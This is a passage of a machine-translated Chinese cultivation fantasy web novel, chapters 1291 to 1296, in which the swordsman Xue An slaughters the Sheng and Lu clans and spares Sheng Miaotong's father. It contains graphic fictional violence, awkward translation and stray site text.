    From the entanglement in the small town to the small town teahouse in front of the Jinding Pavilion, until it was said that Shengmanyu and Lu Shifa appeared together and mocked Xue An.


    The old lady finally couldn''t hold back, and shouted coldly: "Nonsense, my grandson has always been gentle and frugal, how can he be so domineering? It''s ridiculous that you, a little girl, who has no shame in taking the initiative to provoke a man!"


    Although the voice of these words was not loud, the people present were all strong people with cultivation bases, and naturally they all heard them clearly.


    Many people''s complexions changed, especially the young men and women sitting in the corners, and their faces were gloating.


    They are also the children of the Sheng family, but Shengmanyu and Sheng Miaotong have not been favored.


    Otherwise, the two of them would not be sent to Jinding Pavilion for further training.


    But I didn''t expect such a thing to happen.


    Sheng Manyu is dead, and there is only one Sheng Miaotong, who seems to be disliked by the family.


    Such a result naturally made the hearts of these Sheng family children feel refreshed.


    Sheng Miaotong stopped talking, but didn''t look up, still standing there quietly.


    A look of sadness appeared in Sheng Yihua''s eyes. As Sheng Miaotong''s father, he has always liked his little daughter.


    If someone else dared to say that, he would not hesitate to make the other person unable to speak again.


    It is a pity that even he dare not provoke the identity of this old lady.


    At the same time, the dignified old man smiled faintly, "Xiao Cui, it''s been so many years, you still have such a violent temper! Can''t you let her finish?"


    "Sheng Shuyun, why don''t you talk nonsense here, I have a bad temper? Although I have many descendants in the Lu family, but there are only two direct descendants, Shifa is my favorite offspring, but now I am unclearly dead, you Now you still say I have a bad temper?"


    This old lady of Lu''s was almost going to run away, staring at Sheng Shuyun fiercely, "According to what I mean, I should have killed the Golden Ding Pavilion long ago to find this kid who didn''t know where to jump out, but what did you say? From a long-term perspective, shouldn''t you be afraid?"


    Many of the Sheng family''s expressions changed slightly because this old man was not someone else. It was Sheng Yihua''s father, Sheng Shuyun, who had been in charge of the Sheng family for five hundred years and made him the old patriarch of the richest family.


    This old lady speaks so disrespectfully, it naturally makes many people look at her.


    Sheng Shuyun''s smile did not change, but the eyes under his blue eyebrows became colder, "Lu Xiaocui, you said that there is no dead person in my Sheng family, and Shui Jing will not mention it, even Man Yu is considered my Sheng family. Proud girl, the result is different, but also dead?"


    "That''s different. Can a woman compare to a man? Let''s talk about it..." Lu Xiaocui glanced at Sheng Miaotong murderously, "If it wasn''t for this crazy girl to provoke right and wrong, would my grandson die?"


    The atmosphere suddenly reached a deadlock.


    Unexpectedly, at this moment, Sheng Miaotong, who had been bowing his head silently, actually raised his head, unheard of the quarrel, and continued to tell what happened.


    Soon, she was talking about the battle.


    Although her words are very plain, she can still hear the fierceness of the battle between the lines.


    Especially when she said that Xue An cut Fuguang first, then Xiuwen, and easily cut off the water mirror, Ciyun, Shengmanyu, Lu Shifa and others.


    There was a low uproar in the audience.


    Many people began to whisper and whisper.


    Sheng Shuyun waved his hand, and the audience instantly became quiet.


    Then he quietly looked at his granddaughter and said coldly: "Since this Xue An is so powerful in your mouth, how did you come back unharmed?"


    This question caused all eyes of the audience to instantly focus on Sheng Miaotong.


    Sheng Miaotong was silent for a moment, and then said softly: "Because he is not a person who kills innocent people!"


    boom!


    The audience was in an uproar.


    Many people''s faces have become extremely weird.


    Because listening to Sheng Miaotong''s tone, he seemed to admire the man who had forged a life and death feud with the Sheng family.


    Sheng Shuyun couldn''t help raising his eyebrows slightly, "Oh? Why do you say that?"


    Sheng Miaotong took a deep breath, then raised his head to look at all the senior leaders of the Sheng family, and said coldly: "There is no reason, although I know that it is difficult for everyone to accept it, but I still want to say it!"


    "If possible, don''t make him an enemy, because that will put us in a place where we cannot be recovered!"


    If the words just made the audience uproar, then it is a dead silence now.


    Many people looked at Sheng Miaotong with flickering gazes, especially those of the Sheng family, they couldn''t wait to laugh three times.


    This Sheng Miaotong had gone out once, and he was stupid because of some stimulation on his head.


    She actually said this in front of so many people from the Sheng family and the Lu family Didn��t she know that, as two of the top-notch families in the Seven Caves, their status and status? Don''t they allow them to ignore such feuds?


    Otherwise, their power will fall to the bottom in an instant.


    After all, power that is not feared is no longer power.


    really.


    Whether it was Sheng Shuyun or Lu Xiaocui, their complexions instantly became extremely ugly.


    Especially Lu Xiaocui, she is inherently arrogant by nature, and as the de facto head of the Lu family, her patronage and treatment over the years has made her extremely domineering.


    The murder of her grandson made her hate Xue An so she felt that Sheng Miaotong''s remarks were extremely harsh.


    So she laughed again and again, "Okay, it''s a dead end! I want to know what benefits this man has given you so that you can admire him so much? Or... you are already his person? "

 Chapter 1292： Sorry, I seem to be a little late...

    This question was like a blockbuster, which made many people''s faces changed greatly.


    But Sheng Miaotong was not moved by it, but looked at Lu Xiaocui coldly.


    "What I''m telling is the truth, if you don''t believe it, then you just do it!"


    "Presumptuous!" Sheng Yihua, who had been watching coldly, shouted in a deep voice, but his eyes were full of panic.


    Because he knows the character of his little daughter well, he is different from the eldest daughter Sheng Man Yu, who has lived with his father Sheng Shuyun since childhood.


    Sheng Miaotong has a stubborn temper and a passionate temper. He can say whatever he wants, and he can never hide his words.


    Because of this, she was not pleased by the old Patriarch Sheng Shuyun.


    As soon as this incident occurred, Sheng Yihua was worried, for fear that her daughter would be harmed by this, so she has been trying her best to mediate.


    But it never expected that this old lady of the Lu family would actually come to the house to ask the crime.


    This makes Sheng Yihua''s heart even more disturbed.


    Because he knows very well that compared to the anger of the Lu family, a mere Sheng Miaotong is really not enough.


    But all his efforts, under Sheng Miaotong''s words, all came to nothing.


    Seeing this old lady Lu''s eyes changed, a terrifying and hideous color appeared on her face, and she laughed strangely.


    "What a casual, Sheng Shuyun, this is your precious granddaughter looking for yourself, don''t blame me!"


    After all, before everyone could react, the old lady Lu rushed out of the seat directly like an arrow from the string, and rushed towards Sheng Miaotong.


    Sheng Yihua was shocked, because he knew that if this Lu Xiaocui rushed to the front, Miao Tong''s life would definitely not be saved.


    So he wanted to rush forward to stop it.


    But at this moment, Sheng Shuyun, who had been sitting there, said coldly: "Stand don''t move!"


    Sheng Yihua looked bitter and couldn''t help shouting: "Father..."


    Sheng Shuyun said indifferently: "How many times have I told you that those who have made big things do not stick to the trivial, just a daughter, and can be reborn if they die, but if it is so antagonistic to the Lu family, then our Sheng family''s big plan will be ruined!"


    Sheng Yihua looked at Lu Xiaocui who had rushed to Sheng Miaotong''s front, with pain in her eyes, and finally lowered her head helplessly, "Yes!"


    at the same time.


    Sheng Miaotong''s face was solemn, but he didn''t show any fear, and even tried to resist.


    But the difference in strength between her and Lu Xiaocui was too big, so big that Lu Xiaocui just snorted, she was struck by lightning, and then stood on the spot, unable to move.


    Then Lu Xiaocui cruelly stretched out her palm like a steel hook.


    "Little girl film, you are relying on your face to seduce a man and kill my grandson, then I will peel off your face first and vent my grandson!"


    As she said, she poked out her hand with a strange smile and stroked Sheng Miaotong''s cheek.


    The cold palm of Sheng Miaotong''s muscles instantly stiffened.


    Although Sheng Miaotong could not move, his eyes could see everything around him.


    When her eyes passed through Lu Xiaocui and saw the situation in the distance, her heart could not help but gradually sink.


    Because she could clearly see that her so-called grandfather had a cold face.


    There was also the pain in the eyes of the father standing nearby.


    moment.


    She understood everything.


    It turned out that I thought I was a favorite of my family, but in the end I was just a victim that I could discard at will!


    This thought made her suddenly have an urge to laugh.


    Laugh at the desolation of this matter, laugh at the indifference of these so-called giants.


    But her look angered Lu Xiaocui.


    She yelled in surprise and anger: "Little bitch, dare to look at me like this? Then I''ll take your eyes out first!"


    As he spoke, he stretched out **** like steel knives and thrust them straight down.


    Looking at the proficiency of the technique, it is obviously not the first time to do this.


    Sheng Miaotong looked sadly, and suddenly a thought flashed in his mind.


    What is he doing now?


    I really hope that he can be here now to wipe out all the so-called giants!


    As soon as this thought came up, Lu Xiaocui''s fingers had already come close.


    But at this critical moment, I saw the extremely heavy door of the secret room burst open, and then amidst the sky full of smoke and dust, a bright sword light rushed out from it, and in the inconvenient time Sheng Miaotong cut straight past in front of her.


    The speed was so fast that Sheng Miaotong felt as if a breeze was blowing across his cheeks.


    But then, she felt a warm feeling on her cheeks, and she couldn''t help but look up.


    At this moment, the arrogant old lady Lu let out a deafening howl.


    "my hand!"


    Sheng Miaotong was stunned.


    That''s right!


    Lu Xiaocui was about to buckle out the **** of Sheng Miaotong''s eyes, which had already been cut off with the sword light just now.


    The warm touch on Sheng Miaotong''s face was the blood spurting from Lu Xiaocui''s wound.


    All this happened extremely quickly, from the explosion of the secret room door to the sword light slashing, it only took two breaths.


    When everyone was awakened by Lu Xiaocui''s screams, they couldn''t help but exclaim.


    "who?"


    "Who dares to come to my Sheng''s house to make a mistake?"


    Amidst the shouts, many Sheng family children urged their cultivation bases, with powerful auras one after another, sealing the entire secret room.


    Just in this situation.


    There was silence outside the door, and there was only a clear sound of footsteps from far to near, and it seemed that a person was walking slowly.


    Many of the Sheng family''s children winked at each other, and then stared at this remnant door.


    They are ready, as long as someone walks in from here, then what is waiting for him will be a frantic attack without dead ends.


    But at this moment, from outside the door that was still blocked by smoke and dust, a calm voice came, "Sorry, I seem to be late!"


    Following the voice, a figure slowly emerged from the smoke and dust.


    At the same time, after hearing this voice, Sheng Miaotong shook his whole body and shouted in disbelief.


    "Xue An?"


    This sounded very ordinary name, but at this time it seemed to have magical powers, and it made many people lose their minds.


    At this moment, a white-clothed teenager walked out of the smoke and dust and stepped into this secret room I saw a cold smile in his starry eyes .


    Who can it be if it''s not Xue An?


    He nodded slightly at Sheng Miaotong, smiled and said, "Yes, it''s me!"


    Sheng Miaotong was so excited that he couldn''t say anything, but even after thinking of something, he shouted, "Be careful!"


    But she was still a bit late.


    At the moment when these two words were just uttered, Dao Guanghua charged up and directly covered Xue An completely.


    This wave of attacks contained a full blow from all the Sheng family''s children present.


    The power is so powerful that even the space is trembling.


    This bombardment lasted for three full breaths before it gradually stopped.


    At this time, it is estimated that the dead cannot die again! Everyone thought silently.

 Chapter 1293： Sorry, I just want to kill all...

    Many people took a deep breath.


    After all, under such a high-density bombardment, even the powerhouse of Daluo Pinnacle, if they cannot take precautions in advance, they will be hard to escape.


    Sheng Miaotong slammed his mouth tightly and looked at the court with a sad look.


    But at this moment, only a chuckle came.


    "I have always heard that the Sheng family is a giant in this world, and now it seems that this way of treating guests is really unique!"


    Following the voice, but seeing the fading brilliance, Xue An, who was unscathed, and even the corners of his clothes had not been blown, stepped out and looked down on the audience.


    At this time, the audience was in an uproar, and everyone was shocked.


    Even Sheng Shuyun, who had always maintained a majestic air, couldn''t help flashing a look of shock in his eyes.


    The blow just now can be said to have gathered all the elites of the Sheng family, but it failed to hurt the young man.


    Who is he?


    Why is there such a tyrannical strength?


    As for Sheng Miaotong, she cried with joy, tears like a flood that burst a bank, and could not stop it.


    At this moment, Xue An looked around the audience, then nodded, "Very well, it seems you are all here! This will save me more trouble!"


    "What do you mean by this?" An elder of the Sheng family roared hoarsely.


    Xue An smiled faintly, with a playful tone: "What do you mean, do you still use me to remind?"


    Many people''s complexion changed when they heard the words, and when they felt it carefully, their faces were full of horror.


    Because they found that outside the secret room, the Sheng Family Mansion, which should have been lively, was dead silent at this moment.


    There is no vitality, no sound, nothing.


    Yes, it''s just eternal silence.


    At this time, even this Sheng Shuyun couldn''t help himself. He suddenly stood up, staring at Xue An, and said coldly, "What did you do?"


    Xue An shrugged and said lightly: "It''s nothing, but before I came to this secret room, there were many people blocking them, so I...killed them all!"


    As soon as these words were spoken, it seemed like a shock, making all the members of the Sheng family stand on the spot.


    They are very unwilling to believe that this is true, but under the perception of their spiritual mind, the outside world is indeed a dead silence, and as the outside air blows in, there seems to be a strong smell of blood in the air.


    Many people''s foreheads gradually burst into cold sweat, and some timid people began to tremble in their legs, and the eyes looking at Xue An were full of infinite fear.


    Because this is really incredible.


    People just got together to discuss how to deal with him.


    Unexpectedly, in the blink of an eye, Xue An appeared here, and killed everyone outside without anyone noticing it.


    These methods are simply defying.


    At the same time, Xue An looked at these people playfully, and then said lightly: "Now, what else do you want to say?"


    This sentence made Sheng Miaotong trembled, because she couldn''t help but think of the battle of Jinding Pavilion.


    When Xue An said this sentence, it often meant that someone was dying.


    The Sheng Shuyun, who has been in charge of the Sheng family for hundreds of years, took a deep breath, then looked at Xue An solemnly, and said solemnly: "Who are you? If you act so arrogantly, don''t you be afraid of being condemned?"


    Xue An laughed blankly, "Do you all know who I am? As for being condemned by heaven..."


    Xue An showed a playful smile on his face, "I feel that I am your god!"


    Sheng Shuyun finally couldn''t maintain his previous coercive air, a look of panic and amazement appeared on his face.


    Because he had never seen someone like Xue An. Good Easy Novel


    The heart is firm as iron, not moved by foreign objects at all.


    The point is, you think you are cruel enough, but he is ten times more cruel than you.


    Seeing that even the old Patriarch''s expression changed drastically, the rest of the Sheng family could no longer remain calm. Several people closest to the door seemed to collapse suddenly, turning around desperately and rushing out.


    But they had just taken a step, a sword light appeared in front of them, and then cut straight past.


    Puff puff!


    After a few muffled noises, these people were all cut in half from the middle and slowly fell to the ground.


    hiss!


    The audience took a breath.


    You must know that although these people who died were not too strong, they could be regarded as elites in the Sheng family.


    As a result, Xue An didn''t even move his hand, so he directly beheaded on the spot.


    This time, the last gleam of hope in the hearts of countless people was severed.


    Sheng Shuyun''s face was extremely gray, anger and fear mixed together, and then he trembled: "What do you want? Isn''t it enough to kill so many people outside? Could it be that you really want to kill my Sheng family? ?"


    Xue An smiled slightly and applauded softly: "Congratulations, you are right!"


    "You..." Sheng Shuyun was so angry that he almost vomited blood, and roared angrily: "Be forgiving and forgiving, Xue An, I advise you not to be too arrogant!"


    Xue An said lightly: "Aren''t you arrogant? I don''t think, after all...what you have done, death is just a belated interest!"


    Following Xue An''s words, he saw his eyes brighter and brighter, and in the end it even looked like a round of sun and moon.


    And a strong aura rose to the sky and enveloped the audience.


    Sheng Shuyun finally understood the horror of this white-clothed boy, but in the end he roared.


    "Work together, I don''t believe he is immortal!"


    With an order, many elite disciples of the Sheng family started together.


    Because it''s about their own lives, no one dares to keep their hands. One shot is the strongest killer move.


    But with all of this, even Xue An can''t get close.


    I saw strands of sword light appearing out of thin air, facing all these blasting tricks, they rushed up and smashed them directly into pieces.


    And Xue An stood with a smile, as if everything in front of him was extraordinary.


    Sheng Shuyun was both frightened and angry, and couldn''t help yelling, "Lu Xiaocui, don''t you want to avenge your grandson? Still not doing it?"


    Unexpectedly, the old lady Lu, who was still aggressive and said that she wanted to avenge Lu Shi, seemed to have suddenly changed at this moment. She stepped back a few steps, and then smiled unnaturally.


    "Nonsense, who said I am going to avenge that shameless son? He is all on his own account. If he died, he would die! As for you things, I don''t want to participate!"


    With that, she turned around hurriedly and wanted to leave.


    But as soon as she turned around, a sword light appeared directly in front of her.


    Lu Xiaocui trembled all over Xue An said calmly: "Where do you want to go?"


    Lu Xiaocui turned stiffly, with a strong smile on his face, "I... I naturally left here and went home. After all, these things have nothing to do with me. I was also deceived by this guy Sheng Shuyun. Yeah!"


    "Go home? Which home?" Xue An said non-committal.


    "Of course I went back to my Lu''s house..." As he said, Lu Xiaocui seemed to understand something, her eyes gradually widening.


    Xue An smiled, "Sorry, your home...now it doesn''t exist anymore!"


    Please remember the domain name of this book��s first publication:. The fastest mobile version update URL:

 Chapter 1294： The sword of evil slaughter here

    "You...what did you say?" Lu Xiaocui exclaimed.


    Xue An smiled slightly, and then said patiently: "On the way here, I felt a bit boring, so I went to your house first, but I didn''t intend to kill the door, but unfortunately..."


    A cold light flashed in Xue An''s eyes, "Under my sword of seeking evil, there is no unjust soul! So if you die, you will die. You don''t have to be too sad, after all...it''s yours soon!"


    Xue An''s tone was very indifferent, as if she was talking about a trivial matter.


    But everyone in the audience heard the whole body cold.


    As for this Lu Xiaocui, she was even more stunned on the spot, until after a while, she woke up, and then screamed hysterically.


    "The surname is Xue, I will kill you!"


    As he said, he desperately rushed to fight Xue An.


    Lu Xiaocui has been in charge of the Lu family for hundreds of years, and in terms of strength, she is also regarded as a leader among the women of the golden light.


    In addition, she is now angrily attacking her heart, and she has no scruples in her shots, and she is directly powerful and terrifying.


    In an instant, she rushed to Xue An, but she hadn''t waited for her to take action.


    Seeing the light around her suddenly shrank inward, it was as if the space had collapsed accordingly, and the previous strong aura disappeared without a trace.


    Immediately afterwards, Lu Xiaocui felt like she had suddenly lost control of her whole figure, firmly bound by space, floating slowly.


    This scene made Sheng Shuyun, who was full of joy and ready to sit on the mountain and watch the tiger fight, the smile on his face solidified.


    At the same time, Xue An dulled his ears, and then sighed helplessly.


    "What are you doing so loudly? I can''t hear you!"


    As he said, Xue An raised his head to look at Lu Xiaocui floating in front of him, and said lightly: "Is there anything else I want to say before dying?"


    Lu Xiaocui''s face was extremely pale, but a nearly crazy smile appeared on her face gradually.


    "Surnamed Xue, you are really amazing, but do you really think that no one in the world can control you? I am dead, and my daughter will avenge me!"


    "Oh? Your daughter?" Xue An raised his eyebrows slightly.


    "Yes! Hahahaha, my daughter is the true disciple of the third hole of the Tianxiangsiyuan sect. She is the true goddess of heaven. How can this so-called Jinding Pavilion look up?"


    Speaking of her daughter, Lu Xiaocui''s laughter was filled with infinite pride, and then stared at Xue An with gloomy eyes.


    "The surname Xue, don''t think that the person who killed the Jinding Pavilion is so great. In terms of strength, this Jinding Pavilion is far worse than Xiangsiyuan! Otherwise, it will not be at the bottom all the time! And if you want to live a little longer God, let me go now, otherwise..."


    Otherwise, Xue An has interrupted her before she finishes saying, "It turns out to be like this! It will be the Orthodox Contest in just a few days. If your daughter is there, then I will kill it together! No thanks, it should be!"


    "Uh..." The words behind Lu Xiaocui were blocked, turning into a shock in his throat.


    At the same time, Xue An slowly raised his hand and shook it suddenly.


    boom!


    The space around Lu Xiaocui''s body suddenly began to shrink sharply, and the speed was so fast that Lu Xiaocui only let out a scream, and then the space squeezed his bones.


    The blood spewed out, but couldn''t break through the constraints of space, and could only accumulate together, forming a shallow pool of blood.


    But this Lu Xiaocui is indeed a powerful female cultivator. Under such a severe injury, she did not die immediately, but was breathing hard.


    Xue An looked at Lu Xiaocui, who had become a pool of rotten meat, and did not move at all, but said indifferently: "How do you feel?"


    Of course Lu Xiaocui could not speak, but spit out a blood bubble from his mouth.


    Xue An smiled, "Don''t you usually like to use this method to cruel innocent people the most? Now that you have tasted this kind of taste, are you very happy?"


    The **** Lu Xiaocui squirmed in pain. Although he could not speak, everyone who witnessed this scene could still feel the extreme pain from her.


    This kind of **** tyranny made everyone''s heart cold, and some timid people just fell to the ground and didn''t even dare to lift their heads.


    Xue An shook his head, "It seems that you are still not satisfied, forget it, then I will give you a happy one!"


    With that, Xue An''s eyes flashed brightly, and the space instantly condensed into the size of a basketball.


    As for Lu Xiaocui, it was naturally squeezed and turned into a mass of pus and blood.


    When the space constraints disperse.


    Blood mixed with minced meat scattered all over the place, and the whole secret room was filled with disgusting blood.


    Xue An smiled, then looked around the audience, "Now it''s your turn, are you... all ready?"


    The sound was turbulent, but everyone in the secret room trembled at it.


    Such a killer!


    They have never seen it.


    In the past, these giants were aloof and arbitrarily in charge of the lives and deaths of others.


    When it was their turn today, they only discovered how uncomfortable it was.


    Even Sheng Shuyun, who had been barely keeping his composure, turned pale at this moment.


    He had indeed pinned his great hopes on Lu Xiaocui before.


    Although speaking of strength, the Lu family may be slightly inferior to the Sheng family.


    But the key is that the Lu family has a daughter who came to the Acacia Garden and became a true biography.


    Because of this, Sheng Shuyun would repeatedly tolerate, even at the expense of Sheng Miaotong to please the Lu family, in order to extend the power of the Sheng family from the golden cave sky in this way.


    Because he understands very well that although the Golden Light Cave Sky is big, it is the one with the lowest strength among the seven Big Cave Heavens.


    Compared with the third-ranked Xiangsi Garden, it is far worse.


    But he never expected that Xue An would be so arrogant, even when he knew everything, he would still kill him.


    This finally made Sheng Shuyun feel deep fear.


    He is not afraid of the strong, because no matter how strong a person is, there is always a trace to follow.


    But facing Xue An he is really scared.


    Because of this young man, he did not play cards according to common sense at all!


    Therefore, when he heard Xue An''s words, he was shocked in his heart, and then he suppressed the fear in his heart and said with a trembling voice.


    "You...what do you want?"


    Xue An smiled, "You should know what I want!"


    "Don''t you have to rush to kill you?" Sheng Shuyun shouted desperately.


    Xue An didn''t respond, just stomped gently.


    The ground trembled lightly, and then raised countless sword lights.


    Xue An said coldly: "You are wrong, it''s not that I want to kill them all, but that you didn''t leave a way for yourself in the first place!"


    After all, Xue An waved casually.


    "Sword of seeking evil, slaughter here!"

 Chapter 1295： Death music

    When the blade pierces the human body, it will make a soft noise like the sound of the wind.


    This kind of noise continuously reverberated in this secret room, composing a death movement.


    And the first person to die was Sheng Shuyun.


    Prior to this, he was extremely respected in his capacity, and it was difficult for ordinary people to see him even if they wanted to.


    But no matter how powerful you are, it becomes extremely ridiculous by this time.


    In the face of death, Sheng Shuyun''s performance was no different from an ordinary person, and even worse.


    "My lord, forgive me! I am willing to swear a blood soul oath and serve you as my lord! I only ask you to forgive me..."


    Before the last word of fate was spoken, a ray of sword light had penetrated his throat, leaving a huge hole.


    The expression on Sheng Shuyun''s face was sluggish for an instant, but the strong vitality of the cultivator supported him not to die immediately. Instead, he was tightly covering the wound with his hands, as if this huge cavity could be sealed.


    But everything is in vain.


    The gas gushing out of his lungs blew the blood in his throat into a series of bubbles, which gurgled out through his fingers.


    Although he can absorb the spiritual power of the outside world through his own cultivation, his vitality is rapidly declining as the blood goes by.


    The shadow of death cast a haze on his eyes.


    He looked at Xue An with pleading and desperate eyes, his mouth trembled, and he wanted to say something.


    But all of this was finally ended by a ray of sword light that penetrated from the back of the head and rushed out of the eyebrows.


    What was ended together was his dirty soul.


    As Sheng Shuyun''s eyes fell hollowly, the wings of death were slowly unfolding along with the sword of evil in the entire secret room.


    puff!


    The one who fell was an elder who was known for his greed and licentiousness, but this time, he could no longer force his male authority on others.


    Because with a burst, his crotch was already fried to powder.


    And he also suffered from this kind of injury.


    On the other side, an elder who usually likes to cruel mortals the most and cut off the most beautiful part of his body for collection, fell to the ground like a pool of rotten flesh after being shuttled by countless sword lights.


    Everyone is being judged by their usual sins.


    In this **** killing, Xue stood quietly, his face calm.


    It was as if the things in front of him were just a game, and they didn''t even stir up any waves in Xue An.


    In an instant, the majority of the crowd in this secret room fell.


    When the figures on the spot became very few, the endless sword light suddenly converged and appeared directly in front of a middle-aged man, the sword pointed at the center of his eyebrows, and the sword tip trembling lightly.


    Sheng Miaotong, who had been silly, suddenly woke up when he saw this, and exclaimed, "Father!"


    That''s right!


    Under the slaughter of the sword of evil, the only one who was spared was the nominal Patriarch of the Sheng family, that is, Sheng Miaotong''s father, Sheng Yihua.


    Sheng Miaotong''s heart trembled.


    She didn''t feel much about Sheng Shuyun''s death, because her grandfather Sheng Shuyun didn''t like her since she was a child, and can even say that she hated her.


    Because what Sheng Shuyun likes is her sister Shengmanyu.


    Because of this, these two sisters will be so strange.


    However, Sheng Miaotong respected his father very much.


    Because Sheng Miaotong was pulled by her father''s hand.


    Sheng Miaotong is also very aware of his father''s situation.


    Although he is nominally the head of the Sheng family, his situation has become very embarrassing because of the existence of Sheng Shuyun. Go listen to books


    He cannot be the master of almost everything, but can only be a communicator.


    Even in the Sheng family, there are many people who do not regard him as the head of the family at all.


    This is why Shengmanyu dared to be so arrogant towards Sheng Miaotong.


    Now, when Sheng Miaotong saw that his father was threatened with his life, he was naturally full of panic and couldn''t help turning his head to look at Xue An.


    "Xue...Master Xue, please don''t hurt my father. He has never done anything bad. Everything is instructed and instructed by Sheng Shuyun!"


    As he spoke, Sheng Miaotong''s voice became a bit more swallowed, and he was obviously about to cry in a hurry.


    Not waiting for Xue An to speak.


    Sheng Yihua, who was holding her eyebrows by the biting sword light, sighed softly, "Tong''er, you don''t need to say! Lord Xue doesn''t want to kill me, otherwise I am dead now?"


    Sheng Miaotong was startled, then secretly looked at Xue An.


    really.


    A faint smile appeared on the corners of Xue An''s mouth.


    "Oh? Are you so sure that I won''t kill you?"


    Sheng Yihua smiled bitterly, "I''m not sure, I just know that I have never lost my heart!"


    A flash of appreciation flashed in Xue An''s eyes.


    There is no wrong soul under the sword of seeking evil, this sentence is not a false statement.


    Because this sword intent is born deep in everyone''s heart, and your sin is the nourishment for its growth.


    And since this Sheng Yihua was not dead, it naturally proved that his words were not false.


    But what Xue An really appreciates is his attitude towards others.


    Therefore, with a wave of his hand, the sword light dissipated invisible.


    Sheng Yihua let out a sigh of relief, and realized that his back was soaked with cold sweat.


    It can be seen how amazing the shock just pointed by Jian Mang is.


    Then Sheng Yihua took a deep breath and bowed her head deeply at Xue An.


    "Sheng Yihua, thank you for your mercy!"


    "Don''t thank me, and I won''t spare your life. If you want to thank you, thank yourself!" Xue An said lightly.


    Sheng Yihua was taken aback, and then solemnly nodded, "Yes!"


    Xue An looked at this Sheng Yihua with interest, and said indifferently: "I killed so many people in your Sheng family, don''t you hate me?"


    Hearing this question, Sheng Miaotong''s heart raised her throat instantly.


    Unexpectedly, Sheng Yihua shook his head without hesitation, "No hate!"


    "Oh why?"


    "Because, as you said just now, they are responsible for their deaths! Not to mention so many years..."


    Cheng Yihua paused, and then said in disgust: "What they have done, I have seen it with my own eyes!"


    Xue An took a deep look at this Sheng Yihua and nodded, "That''s right!"


    Having said that, Xue An stretched out long and yawned boredly, "Okay, it''s over, it''s time to go back!"


    With that, Xue An turned around and waved casually.


    As he waved his hand, it seemed as if a curtain was opened.


    The outside world, which had just been extremely silent, suddenly became lively.


    Hearing the flustered voices outside, Sheng Hua was taken aback.


    Xue An said calmly: "As your daughter said, I am not a person who kills innocent people indiscriminately, and your Sheng family is better than the Lu family, at least there are still many people left!


    Please remember the domain name of this book��s first publication:. The fastest mobile version update URL:

 Chapter 1296： The demons refining is coming soon

    Xue An is gone.


    When they left, all the surviving people from the top and bottom of the Sheng family gathered together and looked at Xue An with extreme awe, some of them were timid and did not even dare to lift their heads.


    It wasn''t until his figure had turned into a streamer and disappeared into the sky that everyone''s complexion gradually returned to normal.


    Although the Sheng family at this time was completely unrecognizable, the original magnificent buildings had been turned into powder, and the clansmen were not even a single one, but many people showed relief.


    After all, for these people who can survive under the sword of evil, it is clear that they cannot understand what most of the Sheng family did before.


    Now that these black sheep have been swept away, the remaining people are naturally full of joy.


    It''s just that many people bury this joy in their hearts and dare not show it.


    After all, in any case, the current Sheng family has suffered a catastrophe!


    At this moment, Sheng Yihua, who was standing at the forefront of the team, withdrew his gaze, and then turned to look at Sheng Miaotong, who was still staring at the sky intently.


    "Miaotong!"


    "Huh? Father, what''s the matter?" Sheng Miaotong woke up from the daze and asked softly.


    "If I let you go to Jinding Pavilion for further study, would you like it?" Sheng Yihua said seriously.


    Sheng Miaotong''s eyes gradually widened, and his face showed a bright brilliance, "Father, is what you said is true?"


    Sheng Yihua nodded, "Of course it is true! Will you?"


    Sheng Miaotong nodded hurriedly, "Yes, of course I do! But..."


    Sheng Miaotong hesitated and said, "Isn''t Jinding Pavilion already dead in name?"


    Sheng Yihua smiled, then raised her head to look at the empty sky, and said indifferently: "On the contrary, the current Golden Ding Pavilion is the real Phoenix Nirvana! And you happen to meet this adult again, this opportunity If you can grasp it, my Sheng family will set foot on the ranks of the real rich!"


    Speaking of this, Sheng Yihua said in a deep voice: "Miaotong, do you understand what I said?"


    Sheng Miaotong was taken aback for a moment, then lowered his head and responded softly: "Father, Miaotong understands!"


    "Very well, then you should prepare quickly and leave now!"


    Sheng Yihua was busy dealing with the next thing, leaving Sheng Miaotong alone.


    The Sheng family that used to be full of voices no longer exists, and the huge courtyard has become a little lonely, but Sheng Miaotong enjoys this feeling very much.


    She raised her head and looked at the direction Xue An was going away. The corners of her mouth gradually rose, and a thick smile was outlined.


    If there is anything in the world that can travel faster than Xue An''s feet, it depends on the speed of news.


    Xue An''s people have not yet returned to Jinding Pavilion.


    The two giants of Lu and Sheng were slaughtered by him alone, and the news that the Lu family had even destroyed the family had spread throughout the Golden Light Cave.


    No matter what their status, what kind of strong cultivation base, after hearing this news, everyone was shocked.


    Some people are even more resolute and unbelieving, but they can only find out that the matter is conclusive after a careful inquiry later.


    This time, it was as if a blockbuster was thrown into a calm pond.


    Countless people were blown up to the outside and tender inside, confusing.


    After all, the Jinguang Cave Heaven Committee has been a bit too lively these two days.


    First, the Jinding Pavilion was destroyed by Xue An alone, and then the two giants who had occupied the golden cave for thousands of years were destroyed together.


    Such terrifying strength and cruel and decisive means made many powerful people with higher eyes feel that their scalp was numb, and they asked themselves quietly.


    What else can stop this killer god?


    At this point, no one dared to have the slightest doubt about Xue An''s strength.


    But despite this, many people shook their heads secretly.


    I think this matter will obviously not end so easily.


    In particular, it will soon be the Confucian Orthodoxy Grand Tournament once in a century. Because of the appearance of Xue An, this Daoist Confucian Grand Tournament has added many variables.


    Even more informed people sneered secretly in their hearts.


    The Lu family may not be a big deal, but the woman who walked out from the Lu family is not an easy one.


    The strength of Xiangsiyuan can easily kill Jinding Pavilion in seconds.


    In combination with Xue An, a young man who had just worshipped into the Golden Ding Pavilion was set up as the head.


    This undoubtedly made the future of Jinding Pavilion confused.


    Many people only look forward to the Dao Tong Grand Tournament as soon as possible, because they want to see how this Xue An fate.


    Just under this weird atmosphere.


    Jinding Pavilion is like the center of a typhoon, extremely calm.


    When Xue An''s figure appeared in the small building on the highest floor of the Jinding Pavilion, Xing Yushu was sitting facing the wall with a painful face, and his whole body was undulating, as if he was fighting with someone.


    Sitting across from him was Octopus, who was engrossed in his handheld game console.


    I saw her tentacles waving and playing happily.


    She didn''t even notice that Xue An came back.


    Until Xue An stood behind her, watched quietly for a while, and then spoke.


    "Can''t so many tentacles hit a built-in program?"


    She was shocked, and then stood up anxiously, and said in embarrassment, "Big...sir, are you back? Ah, you said that you made me look at this guy so well, but I have not left for half a step. This is on guard!"


    While talking, she quietly put away the game console in her hand and planned to shut it down.


    But it seemed that the wrong key was touched, and the game console was not turned off, but the sound became the loudest.


    Then there was a big KO from inside.


    The corners of Zhang Xiaoyu''s awkward mouth twitched, and his tentacles twisted, directly crushing the handheld game console.


    The voice stopped abruptly, and then Zhang Xiaoyu smirked at Xue An.


